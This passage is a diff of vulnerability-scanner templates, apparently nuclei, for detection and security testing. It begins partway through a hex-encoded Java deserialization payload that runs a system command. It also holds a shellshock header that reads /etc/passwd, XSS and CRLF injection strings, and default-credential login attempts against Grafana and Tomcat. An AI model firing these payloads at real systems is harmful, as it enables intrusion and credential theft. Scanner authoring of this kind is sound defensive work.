20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
+    matchers-condition: and
     matchers:
       - type: word
         words:
-          - "nonexistent:1337"
-        part: body
+          - "Microsoft Corporation"
+          - "Distributor ID"
+          - "kern.ostype"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "Microsoft Windows (.*)"
+          - "kern.ostype: (.*)"
+          - "Distributor ID: (.*)"

cves/CVE-2020-9496.yaml

@@ -0,0 +1,55 @@
+id: CVE-2020-9496
+
+info:
+  name: Apache OFBiz XML-RPC Java Deserialization
+  author: dwisiswant0
+  severity: medium
+
+  # This temaplte detects a Java deserialization vulnerability in Apache
+  # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
+  # versions prior to 17.12.04.
+  # --
+  # References:
+  # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Origin: http://{{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8080
+        Origin: http://{{Hostname}}:8080
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8443
+        Origin: https://{{Hostname}}:8443
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "faultString"
+          - "No such service [ProjectDiscovery]"
+          - "methodResponse"
+        condition: and
+        part: body
+      - type: word
+        words:
+          - "Content-Type: text/xml"
+        part: header
+      - type: status
+        status:
+          - 200

default-credentials/grafana-default-credential.yaml

@@ -0,0 +1,61 @@
+id: grafana-default-credential
+info:
+  name: Grafana Default Credentials Check
+  author: pdteam
+  severity: high
+
+requests:
+
+    # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
+    # https://github.com/grafana/grafana/issues/14755
+    # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
+    # So make sure, not to attempt more than 4 password for same valid user.
+
+  - payloads:
+
+    # grafana_username:
+    #  - admin
+
+      grafana_password:
+        - prom-operator
+        - admin
+
+    # Added default grafana and prometheus user.
+    # Source:- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
+
+    attack: sniper
+
+    # Available types: sniper, pitchfork and clusterbomb
+
+    raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"user":"admin","password":"grafana_password"}
+
+     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - grafana_session
+        part: header
+        # Check for 'grafana_session' cookie on valid login in the response header.
+
+      - type: word
+        words:
+          - Logged in
+        part: body
+        # Check for valid string on valid login.
+
+      - type: status
+        status:
+          - 200

default-credentials/tomcat-manager-default.yaml

@@ -1,6 +1,6 @@
-id: tomcat-manager-bruteforce
+id: tomcat-manager-default
 info:
-  name: tomcat-manager-bruteforce-fuzzing
+  name: tomcat-manager-default-password
   author: pdteam
   severity: high
 
@@ -18,9 +18,6 @@ requests:
         - 12345
         - 123456
 
-
-    # Make sure you have your wordlist on the defind path.
-
     attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb
 
     raw:
@@ -33,7 +30,12 @@ requests:
         Accept-Language: en-US,en;q=0.9
         Connection: close
 
+    matchers-condition: and
     matchers:
       - type: status
         status:
-          - 200
+          - 200
+
+      - type: word
+        words:
+          - Apache Tomcat

files/telerik-fileupload-detect.yaml

@@ -12,4 +12,4 @@ requests:
     matchers:
       - type: word
         words:
-          - "RadAsyncUpload handler is registered successfully"
+          - "RadAsyncUpload handler is registered succesfully"

files/wadl-files.yaml

@@ -2,16 +2,34 @@ id: wadl-files
 
 info:
   name: wadl file disclosure
-  author: 0xrudra
+  author: 0xrudra & manuelbua
   severity: info
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/application.wadl"
-      - "{{BaseURL}}/service?Wsdl"
+      - "{{BaseURL}}/application.wadl?detail=true"
+      - "{{BaseURL}}/api/application.wadl"
+      - "{{BaseURL}}/api/v1/application.wadl"
+      - "{{BaseURL}}/api/v2/application.wadl"
     matchers:
-      - type: word
+      - name: http-get
+        type: word
+        words:
+          - "This is simplified WADL with user and core resources only"
+          - "\"http://jersey.java.net/\""
+          - "http://wadl.dev.java.net/2009/02"
+        condition: or
+        part: body
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/api/v1"
+      - "{{BaseURL}}/api/v2"
+    matchers:
+      - name: http-options
+        type: word
         words:
           - "This is simplified WADL with user and core resources only"
           - "\"http://jersey.java.net/\""

generic-detections/top-15-xss.yaml

@@ -0,0 +1,23 @@
+# id contains the unique identifier for the template.
+id: top-15-xss
+
+info:
+  # Name is the name of the template
+  name: Top 15 XSS Check
+  # Author is the name of the author for the template
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
+  author: foulenzer
+  # Severity is the severity for the template.
+  severity: medium
+  #  Description optionally describes the template.
+  description: Searches for reflected XSS in the server response via GET-requests.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?q%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526s%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526search%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526id%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526action%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keyword%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526query%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526page%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keywords%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526url%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526view%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526cat%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526name%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526key%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526p%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E"
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=confirm('testing-xss')>"
+        part: body

security-misconfiguration/wordpress-accessible-wpconfig.yaml

@@ -0,0 +1,26 @@
+id: wordpress-accessible-wpconfig
+info:
+  name: WordPress accessible wp-config
+  author: Kiblyn11 & zomsop82 & madrobot & geeknik
+  severity: high
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-config.php'
+      - '{{BaseURL}}/wp-config-sample.php'
+      - '{{BaseURL}}/wp-config.php.txt'
+      - '{{BaseURL}}/wp-config.php.bak'
+      - '{{BaseURL}}/wp-config.php.old'
+      - '{{BaseURL}}/wp-config-backup.txt'
+      - '{{BaseURL}}/wp-config.php.save'
+      - '{{BaseURL}}/wp-config.php~'
+      - '{{BaseURL}}/wp-config.php.orig'
+      - '{{BaseURL}}/wp-config.php.original'
+      - '{{BaseURL}}/wp-license.php?file=../..//wp-config'
+      - '{{BaseURL}}/_wpeprivate/config.json'
+    matchers:
+      - type: word
+        words:
+          - DB_NAME
+          - WPENGINE_ACCOUNT
+        part: body

subdomain-takeover/detect-all-takeovers.yaml

@@ -318,10 +318,10 @@ requests:
         words:
           - "Non-hub domain, The URL you've accessed does not provide a hub."
 
-      - type: word
+      - type: regex
         name: unbounce
-        words:
-          - "The requested URL was not found on this server."
+        regex:
+          - "^The requested URL was not found on this server.$"
 
       - type: regex
         name: uptimerobot

technologies/aem-cms-finder.yaml

@@ -1,18 +0,0 @@
-id: aem-cms-finder
-
-info:
-  name: AEM Finder
-  author: mzack9999
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-    matchers:
-      - type: word
-        words:
-          - "/etc/clientlibs/"
-          - "/content/dam/"
-        part: body
-        condition: or

technologies/cdn.yaml

@@ -1,50 +0,0 @@
-id: content-delivery-network
-
-info:
-  name: Detect content delivery network
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: cloudflare
-        words:
-          - "cloudflare"
-        part: header
-      - type: word
-        name: akamai
-        words:
-          - "AkamaiGHost"
-        part: header
-      - type: word
-        name: sucuri
-        words:
-          - "Sucuri/Cloudproxy"
-        part: header
-      - type: word
-        name: Imperva
-        words:
-          - "X-Iinfo:"
-        part: header
-      - type: word
-        name: ddos-guard
-        words:
-          - "ddos-guard"
-        part: header
-      - type: word
-        name: dosarrest
-        words:
-          - "DOSarrest"
-          - "X-DIS-Request-ID:"
-        part: header
-      - type: word
-        name: arvancloud
-        words:
-          - "ArvanCloud"
-          - "AR-Request-ID:"
-        part: header

technologies/clockwork-php-header.yaml

@@ -1,19 +0,0 @@
-id: clockwork-php-header
-info:
-  name: Clockwork PHP exposure
-  author: organiccrap
-  severity: high
-  # https://twitter.com/damian_89_/status/1250721398747791360
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/'
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-    matchers:
-      - type: word
-        words:
-          - 'X-Clockwork-Id:'
-          - 'X-Clockwork-Version:'
-        part: header
-        condition: and

technologies/cms-detect.yaml

@@ -1,28 +0,0 @@
-id: cms-detect
-
-info:
-  name: CMS Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: drupal
-        words:
-          - "X-Drupal"
-          - "x-drupal"
-          - "X-Generator: Drupal"
-        condition: or
-        part: header
-      - type: word
-        name: wordpress
-        words:
-          - "/wp-content/"
-          - "/wp-includes/"
-        condition: or
-        part: body

technologies/jenkins-headers-detect.yaml

@@ -1,16 +0,0 @@
-id: jenkins-headers-detect
-
-info:
-  name: Jenkins Headers Based Detection
-  author: ice3man
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "X-Jenkins"
-        part: header

technologies/programming-language-detect.yaml

@@ -1,34 +0,0 @@
-id: programming-language-detect
-
-info:
-  name: Programming Language Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-          - "CPython/3."
-        condition: or
-        part: header

technologies/reverse-proxy-detect.yaml

@@ -1,23 +0,0 @@
-id: reverse-proxy-detect
-
-info:
-  name: Reverse Proxy Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: nginx
-        words:
-          - "Server: nginx"
-        part: header
-      - type: word
-        name: apache
-        words:
-          - "Server: Apache"
-        part: header

technologies/tech-detect.yaml

@@ -1024,6 +1024,11 @@ requests:
         regex:
           - <div id="copyright">Powered by vBulletin
         condition: or
+      - type: word
+        name: vbulletin
+        words:
+          - 'vBulletin.version'
+          - 'content="vBulletin'
         part: body
       - type: regex
         name: meteor
@@ -1827,8 +1832,11 @@ requests:
         name: drupal
         regex:
           - <(?:link|style)[^>]+"/sites/(?:default|all)/(?:themes|modules)/
+          - "X-Drupal"
+          - "x-drupal"
+          - "X-Generator: Drupal"
         condition: or
-        part: body
+        part: all
       - type: regex
         name: webxpay
         regex:
@@ -2472,4 +2480,205 @@ requests:
         regex:
           - " <a [^>]+Powered by Lithium"
         condition: or
+        part: body
+
+      - type: word
+        name: clockwork
+        words:
+          - 'X-Clockwork-Id:'
+          - 'X-Clockwork-Version:'
+        part: header
+
+      - type: word
+        name: symfony
+        words:
+          - "Set-Cookie: symfony="
+        part: header
+
+      - type: word
+        name: laravel
+        words:
+          - "Set-Cookie: laravel_session="
+        part: header
+
+      - type: word
+        name: express
+        words:
+          - "X-Powered-By: Express"
+        part: header
+
+      - type: word
+        name: rails
+        words:
+          - "meta content=\"authenticity_token\" name=\"csrf-param"
+        part: body
+
+      - type: word
+        name: angular
+        words:
+          - "ng-app=\""
+          - "<ng-app"
+          - "*ngIf="
+          - "ng-controller="
+        condition: or
+        part: body
+
+      - type: word
+        name: apache
+        words:
+          - "Apache"
+        part: header
+      - type: word
+        name: lighttpd
+        words:
+          - "lighttpd"
+        part: header
+      - type: word
+        name: lighttpd
+        words:
+          - "lighttpd"
+        part: header
+      - type: word
+        name: wsgiserver
+        words:
+          - "WSGIServer"
+        part: header
+      - type: word
+        name: simplehttp
+        words:
+          - "SimpleHTTP"
+        part: header
+      - type: word
+        name: twistedweb
+        words:
+          - "TwistedWeb"
+        part: header
+      - type: word
+        name: tsm
+        words:
+          - "TSM_HTTP"
+        part: header
+      - type: word
+        name: ms-iis
+        words:
+          - "Microsoft-IIS"
+        part: header
+      - type: word
+        name: ms-httpapi
+        words:
+          - "Microsoft-HTTPAPI"
+        part: header
+      - type: word
+        name: tomcat
+        words:
+          - "Tomcat"
+        part: header
+      - type: word
+        name: darkhttpd
+        words:
+          - "darkhttpd"
+        part: header
+      - type: word
+        name: cherrypy
+        words:
+          - "CherryPy"
+        part: header
+      - type: word
+        name: cherokee
+        words:
+          - "Cherokee"
+        part: header
+      - type: word
+        name: caddy
+        words:
+          - "Caddy"
+        part: header
+      - type: word
+        name: jetty
+        words:
+          - "Jetty"
+        part: header
+
+      - type: word
+        name: nginx
+        words:
+          - "Server: nginx"
+        part: header
+      - type: word
+        name: apache
+        words:
+          - "Server: Apache"
+        part: header
+
+      - type: word
+        name: php
+        words:
+          - "X-Powered-By: PHP"
+          - "PHPSESSID"
+        part: header
+      - type: word
+        name: node
+        words:
+          - "Server: NodeJS"
+          - "X-Powered-By: nodejs"
+        condition: or
+        part: header
+      - type: word
+        name: python
+        words:
+          - "Python/2."
+          - "Python/3."
+          - "CPython/3."
+        condition: or
+        part: header
+
+      - type: word
+        name: jenkins
+        words:
+          - "X-Jenkins"
+        part: header
+
+      - type: word
+        name: cloudflare
+        words:
+          - "cloudflare"
+        part: header
+      - type: word
+        name: akamai
+        words:
+          - "AkamaiGHost"
+        part: header
+      - type: word
+        name: sucuri
+        words:
+          - "Sucuri/Cloudproxy"
+        part: header
+      - type: word
+        name: Imperva
+        words:
+          - "X-Iinfo:"
+        part: header
+      - type: word
+        name: ddos-guard
+        words:
+          - "ddos-guard"
+        part: header
+      - type: word
+        name: dosarrest
+        words:
+          - "DOSarrest"
+          - "X-DIS-Request-ID:"
+        part: header
+      - type: word
+        name: arvancloud
+        words:
+          - "ArvanCloud"
+          - "AR-Request-ID:"
+        part: header
+
+      - type: word
+        name: aem_cms
+        words:
+          - "/etc/clientlibs/"
+          - "/content/dam/"
         part: body

technologies/tool-detect.yaml

@@ -1,17 +0,0 @@
-id: tool-detect
-
-info:
-  name: Tool Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        name: clockwork
-        words:
-          - "X-Clockwork-Id"
-        part: header

technologies/web-framework-detect.yaml

@@ -1,42 +0,0 @@
-id: web-framework-detect
-
-info:
-  name: Web Framework Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: symfony
-        words:
-          - "Set-Cookie: symfony="
-        part: header
-      - type: word
-        name: laravel
-        words:
-          - "Set-Cookie: laravel_session="
-        part: header
-      - type: word
-        name: express
-        words:
-          - "X-Powered-By: Express"
-        part: header
-      - type: word
-        name: rails
-        words:
-          - "meta content=\"authenticity_token\" name=\"csrf-param"
-        part: body
-      - type: word
-        name: angular
-        words:
-          - "ng-app=\""
-          - "<ng-app"
-          - "*ngIf="
-          - "ng-controller="
-        condition: or
-        part: body

technologies/web-server.yaml

@@ -1,88 +0,0 @@
-id: web-server
-
-info:
-  name: Detect web server daemon
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: apache
-        words:
-          - "Apache"
-        part: header
-      - type: word
-        name: lighttpd
-        words:
-          - "lighttpd"
-        part: header
-      - type: word
-        name: lighttpd
-        words:
-          - "lighttpd"
-        part: header
-      - type: word
-        name: wsgiserver
-        words:
-          - "WSGIServer"
-        part: header
-      - type: word
-        name: simplehttp
-        words:
-          - "SimpleHTTP"
-        part: header
-      - type: word
-        name: twistedweb
-        words:
-          - "TwistedWeb"
-        part: header
-      - type: word
-        name: tsm
-        words:
-          - "TSM_HTTP"
-        part: header
-      - type: word
-        name: ms-iis
-        words:
-          - "Microsoft-IIS"
-        part: header
-      - type: word
-        name: ms-httpapi
-        words:
-          - "Microsoft-HTTPAPI"
-        part: header
-      - type: word
-        name: tomcat
-        words:
-          - "Tomcat"
-        part: header
-      - type: word
-        name: darkhttpd
-        words:
-          - "darkhttpd"
-        part: header
-      - type: word
-        name: cherrypy
-        words:
-          - "CherryPy"
-        part: header
-      - type: word
-        name: cherokee
-        words:
-          - "Cherokee"
-        part: header
-      - type: word
-        name: caddy
-        words:
-          - "Caddy"
-        part: header
-      - type: word
-        name: jetty
-        words:
-          - "Jetty"
-        part: header

tokens/http-username-password.yaml

@@ -18,10 +18,10 @@ requests:
       - type: regex
         part: body
         regex:
-          - "(ftp|ftps|http|https)://[0-9A-Za-z\\-_%]+(:|@)"
+          - "(ftp|ftps|http|https)://[^@]+@"
 
     extractors:
       - type: regex
         part: body
         regex:
-          - "(ftp|ftps|http|https)://[0-9A-Za-z\\-_%]+(:|@)"
+          - "(ftp|ftps|http|https)://[^@]+(@)"

vulnerabilities/crlf-injection.yaml

@@ -2,7 +2,7 @@ id: crlf-injection
 
 info:
   name: CRLF injection
-  author: melbadry9 & nadino
+  author: melbadry9 & nadino & xElkomy
   severity: low
 
 requests:
@@ -15,6 +15,8 @@ requests:
       - "{{BaseURL}}/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection"
       - "{{BaseURL}}/%0ASet-Cookie%3Acrlfinjection/.."    # Apache
       - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"    # CVE-2016-4975
+      - "{{BaseURL}}/?Page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&callback=%0D%0ASet-Cookie:crlfinjection=crlfinjection&checkout_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&content=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continue=%0D%0ASet-Cookie:crlfinjection=crlfinjection&continueTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&counturl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&data=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dest_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&dir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&document=%0D%0ASet-Cookie:crlfinjection=crlfinjection&domain=%0D%0ASet-Cookie:crlfinjection=crlfinjection&done=%0D%0ASet-Cookie:crlfinjection=crlfinjection&download=%0D%0ASet-Cookie:crlfinjection=crlfinjection&feed=%0D%0ASet-Cookie:crlfinjection=crlfinjection&file=%0D%0ASet-Cookie:crlfinjection=crlfinjection&host=%0D%0ASet-Cookie:crlfinjection=crlfinjection&html=%0D%0ASet-Cookie:crlfinjection=crlfinjection&http=%0D%0ASet-Cookie:crlfinjection=crlfinjection&https=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&image_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&imageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&include=%0D%0ASet-Cookie:crlfinjection=crlfinjection&media=%0D%0ASet-Cookie:crlfinjection=crlfinjection&navigation=%0D%0ASet-Cookie:crlfinjection=crlfinjection&next=%0D%0ASet-Cookie:crlfinjection=crlfinjection&open=%0D%0ASet-Cookie:crlfinjection=crlfinjection&out=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page=%0D%0ASet-Cookie:crlfinjection=crlfinjection&page_url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&pageurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&picture=%0D%0ASet-Cookie:crlfinjection=crlfinjection&port=%0D%0ASet-Cookie:crlfinjection=crlfinjection&proxy=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redir=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirectUri&redirectUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&reference=%0D%0ASet-Cookie:crlfinjection=crlfinjection&referrer=%0D%0ASet-Cookie:crlfinjection=crlfinjection&req=%0D%0ASet-Cookie:crlfinjection=crlfinjection&request=%0D%0ASet-Cookie:crlfinjection=crlfinjection&retUrl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return=%0D%0ASet-Cookie:crlfinjection=crlfinjection&returnTo=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_path=%0D%0ASet-Cookie:crlfinjection=crlfinjection&return_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&rurl=%0D%0ASet-Cookie:crlfinjection=crlfinjection&show=%0D%0ASet-Cookie:crlfinjection=crlfinjection&site=%0D%0ASet-Cookie:crlfinjection=crlfinjection&source=%0D%0ASet-Cookie:crlfinjection=crlfinjection&src=%0D%0ASet-Cookie:crlfinjection=crlfinjection&target=%0D%0ASet-Cookie:crlfinjection=crlfinjection&to=%0D%0ASet-Cookie:crlfinjection=crlfinjection&uri=%0D%0ASet-Cookie:crlfinjection=crlfinjection&url=%0D%0ASet-Cookie:crlfinjection=crlfinjection&val=%0D%0ASet-Cookie:crlfinjection=crlfinjection&validate=%0D%0ASet-Cookie:crlfinjection=crlfinjection&view=%0D%0ASet-Cookie:crlfinjection=crlfinjection&window=%0D%0ASet-Cookie:crlfinjection=crlfinjection&redirect_to=%0D%0ASet-Cookie:crlfinjection=crlfinjection"
+
     matchers:
       - type: regex
         regex:

vulnerabilities/rce-shellshock-user-agent.yaml

@@ -8,7 +8,7 @@ info:
 requests:
  - method: GET
    headers:
-    User-Agent: "{ :;}; echo $(</etc/passwd)"
+    User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
    path:
     - "{{BaseURL}}/cgi-bin/status"
    matchers:

vulnerabilities/rce-via-java-deserialization.yaml

@@ -1,3 +1,4 @@
+id: rce-via-java-deserialization
 info:
   name: Java Deserialization [RCE]
   author: uhnysh

workflows/grafana-workflow.yaml

@@ -0,0 +1,15 @@
+id: grafana-workflow
+
+info:
+  name: Grafana Workflow
+  author: pdteam
+
+variables:
+  grafana_login: panels/grafana-detect.yaml
+  grafana_cred_check: default-credentials/grafana-default-credential.yaml
+
+logic:
+  |
+  if grafana_login() {
+    grafana_cred_check()
+  }

workflows/rabbitmq-workflow.yaml

@@ -6,7 +6,7 @@ info:
 
 variables:
   rabbitmq_dashboard: panels/rabbitmq-dashboard.yaml
-  rabbitmq_default_admin: security-misconfiguration/rabbitmq-default-admin.yaml
+  rabbitmq_default_admin: default-credentials/rabbitmq-default-admin.yaml
 
 logic:
   |

workflows/vbulletin-workflow.yaml

@@ -0,0 +1,25 @@
+id: vbulletin-workflow
+
+info:
+  name: vBulletin workflow
+  author: pdteam
+
+variables:
+
+  vbulletin_tech: technologies/tech-detect.yaml
+  vbulletin_cve_1: cves/CVE-2019-16759.yaml
+  vbulletin_cve_2: cves/CVE-2019-16759-1.yaml
+  vbulletin_cve_3: cves/CVE-2020-12720.yaml
+
+  # This will run all 3 CVEs if vbulletin tech is found.
+
+logic:
+  |
+  vbulletin_tech()
+
+  if vbulletin_tech["vbulletin"] {
+
+    vbulletin_cve_1()
+    vbulletin_cve_2()
+    vbulletin_cve_3()
+  }

workflows/wordpress-workflow.yaml

@@ -0,0 +1,26 @@
+id: wordpress-workflow
+info:
+  name: Wordpress workflow
+  author: Kiblyn11 & zomsop82
+variables:
+
+  wordpress_tech: technologies/tech-detect.yaml
+  wordpress_dir_listing: files/wordpress-directory-listing.yaml
+  wordpress_user_enum: files/wordpress-user-enumeration.yaml
+  wordpress_wpconfig: security-misconfiguration/wordpress-accessible-wpconfig.yaml
+  wordpress_duplicator_path_traversal: vulnerabilities/wordpress-duplicator-path-traversal.yaml
+  wordpress_wordfence_xss: vulnerabilities/wordpress-wordfence-xss.yaml
+  wordpress_cve_1: cves/CVE-2019-9978.yaml
+
+logic: |
+  wordpress_tech()
+
+  if wordpress_tech["wordpress"] {
+
+    wordpress_dir_listing()
+    wordpress_user_enum()
+    wordpress_wpconfig()
+    wordpress_duplicator_path_traversal()
+    wordpress_wordfence_xss()
+    wordpress_cve_1()
+  }